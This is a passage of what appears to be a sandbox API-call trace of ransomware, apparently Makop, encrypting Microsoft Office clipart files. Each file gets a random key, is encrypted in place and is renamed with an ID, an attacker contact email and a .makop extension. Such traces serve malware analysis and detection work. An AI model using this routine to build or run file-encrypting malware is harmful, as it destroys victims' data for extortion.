(hObject=0xf0) returned 1 [0141.331] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0141.331] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF") returned 63 [0141.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.332] GetProcessHeap () returned 0x48a0000 [0141.332] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.332] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.332] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.332] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.337] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.337] GetProcessHeap () returned 0x48a0000 [0141.337] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.337] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.337] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.337] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.338] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.338] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.338] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.338] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.338] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.338] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb2c, lpOverlapped=0x0) returned 1 [0141.339] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb30, dwBufLen=0xb30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb30) returned 1 [0141.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb30, lpOverlapped=0x0) returned 1 [0141.339] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.339] SetEndOfFile (hFile=0xf0) returned 1 [0141.345] GetProcessHeap () returned 0x48a0000 [0141.345] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.345] GetProcessHeap () returned 0x48a0000 [0141.346] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.346] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.347] CloseHandle (hObject=0xf0) returned 1 [0141.347] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0141.347] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF") returned 63 [0141.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.348] GetProcessHeap () returned 0x48a0000 [0141.348] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.349] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.349] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.354] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.354] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.354] GetProcessHeap () returned 0x48a0000 [0141.354] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.354] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.354] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.354] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.354] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.354] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.355] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.355] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.355] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe64, lpOverlapped=0x0) returned 1 [0141.355] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70, dwBufLen=0xe70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70) returned 1 [0141.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe70, lpOverlapped=0x0) returned 1 [0141.356] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.356] SetEndOfFile (hFile=0xf0) returned 1 [0141.362] GetProcessHeap () returned 0x48a0000 [0141.362] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.366] GetProcessHeap () returned 0x48a0000 [0141.366] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.366] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.368] CloseHandle (hObject=0xf0) returned 1 [0141.368] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0141.368] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF") returned 63 [0141.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.369] GetProcessHeap () returned 0x48a0000 [0141.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.369] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.374] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.374] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.374] GetProcessHeap () returned 0x48a0000 [0141.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.374] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.374] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.375] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.375] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e98, lpOverlapped=0x0) returned 1 [0141.377] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ea0) returned 1 [0141.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.377] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ea0, lpOverlapped=0x0) returned 1 [0141.378] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.378] SetEndOfFile (hFile=0xf0) returned 1 [0141.385] GetProcessHeap () returned 0x48a0000 [0141.385] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.385] GetProcessHeap () returned 0x48a0000 [0141.385] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.385] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.387] CloseHandle (hObject=0xf0) returned 1 [0141.387] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0141.387] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF") returned 63 [0141.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.389] GetProcessHeap () returned 0x48a0000 [0141.389] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.389] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.394] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.394] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.394] GetProcessHeap () returned 0x48a0000 [0141.394] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.394] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.394] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.394] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.395] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.395] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.395] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.396] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd24, lpOverlapped=0x0) returned 1 [0141.396] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30, dwBufLen=0xd30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30) returned 1 [0141.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd30, lpOverlapped=0x0) returned 1 [0141.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.396] SetEndOfFile (hFile=0xf0) returned 1 [0141.402] GetProcessHeap () returned 0x48a0000 [0141.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.402] GetProcessHeap () returned 0x48a0000 [0141.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.403] 